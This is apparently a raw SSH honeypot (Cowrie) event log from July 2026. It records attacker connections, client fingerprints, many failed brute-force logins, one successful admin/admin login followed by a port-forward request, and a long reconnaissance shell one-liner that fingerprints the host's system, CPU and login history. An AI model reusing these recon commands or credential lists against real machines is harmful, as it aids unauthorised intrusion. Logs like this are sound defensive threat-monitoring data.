&& echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.720580Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.722807Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.724651Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.726264Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.728730Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.730433Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.732530Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.735133Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.738601Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.741527Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:35.951554Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:04:36.036287Z","src_ip":"91.92.40.176","session":"dfac94771b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":35272,"dst_ip":"10.17.0.5","dst_port":22,"session":"384819294785","protocol":"ssh","message":"New connection: 91.92.40.10:35272 (10.17.0.5:22) [session: 384819294785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:07.449113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:07.565747Z","src_ip":"91.92.40.10","session":"384819294785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:07.569166Z","src_ip":"91.92.40.10","session":"384819294785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty","message":"login attempt [admin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:08.319453Z","src_ip":"91.92.40.10","session":"384819294785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:09.411291Z","src_ip":"91.92.40.10","session":"384819294785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49170,"dst_ip":"10.17.0.5","dst_port":22,"session":"217c881ba167","protocol":"ssh","message":"New connection: 103.27.238.116:49170 (10.17.0.5:22) [session: 217c881ba167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:30.876095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:30.881901Z","src_ip":"103.27.238.116","session":"217c881ba167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:31.168386Z","src_ip":"103.27.238.116","session":"217c881ba167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korvin","message":"login attempt [root/korvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:32.024714Z","src_ip":"103.27.238.116","session":"217c881ba167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:33.312560Z","src_ip":"103.27.238.116","session":"217c881ba167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":41724,"dst_ip":"10.17.0.5","dst_port":22,"session":"205dc8bc910e","protocol":"ssh","message":"New connection: 162.214.159.200:41724 (10.17.0.5:22) [session: 205dc8bc910e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:39.385876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:39.389551Z","src_ip":"162.214.159.200","session":"205dc8bc910e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:39.471294Z","src_ip":"162.214.159.200","session":"205dc8bc910e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1g0$S3cur3#P@ss","message":"login attempt [root/A1g0$S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:39.718409Z","src_ip":"162.214.159.200","session":"205dc8bc910e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:41.963265Z","src_ip":"162.214.159.200","session":"205dc8bc910e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"e89155643fc3","protocol":"ssh","message":"New connection: 162.240.35.200:36084 (159.203.135.109:22) [session: e89155643fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:45.043869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:45.047634Z","src_ip":"162.240.35.200","session":"e89155643fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:45.139046Z","src_ip":"162.240.35.200","session":"e89155643fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"farm456","message":"login attempt [root/farm456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:45.406171Z","src_ip":"162.240.35.200","session":"e89155643fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:49.134460Z","src_ip":"162.240.35.200","session":"e89155643fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":60164,"dst_ip":"10.17.0.5","dst_port":22,"session":"73264f81de50","protocol":"ssh","message":"New connection: 162.254.35.142:60164 (10.17.0.5:22) [session: 73264f81de50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:50.624106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:50.628428Z","src_ip":"162.254.35.142","session":"73264f81de50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:50.695054Z","src_ip":"162.254.35.142","session":"73264f81de50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samoa","password":"Apia#Crypto$M@st3r!","message":"login attempt [samoa/Apia#Crypto$M@st3r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:50.889736Z","src_ip":"162.254.35.142","session":"73264f81de50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:51.956749Z","src_ip":"162.254.35.142","session":"73264f81de50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":63012,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8b991e81c1","protocol":"ssh","message":"New connection: 176.53.159.196:63012 (10.17.0.5:22) [session: cb8b991e81c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:54.487109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:54.492780Z","src_ip":"176.53.159.196","session":"cb8b991e81c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:54.595819Z","src_ip":"176.53.159.196","session":"cb8b991e81c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:54.904287Z","src_ip":"176.53.159.196","session":"cb8b991e81c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:55.005109Z","session":"cb8b991e81c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:55.106301Z","src_ip":"176.53.159.196","session":"cb8b991e81c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:05:55.208346Z","src_ip":"176.53.159.196","session":"cb8b991e81c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":43906,"dst_ip":"159.203.135.109","dst_port":22,"session":"742b3063caf6","protocol":"ssh","message":"New connection: 97.74.6.204:43906 (159.203.135.109:22) [session: 742b3063caf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:01.477128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:06:01.480492Z","src_ip":"97.74.6.204","session":"742b3063caf6","protocol":"ssh"}
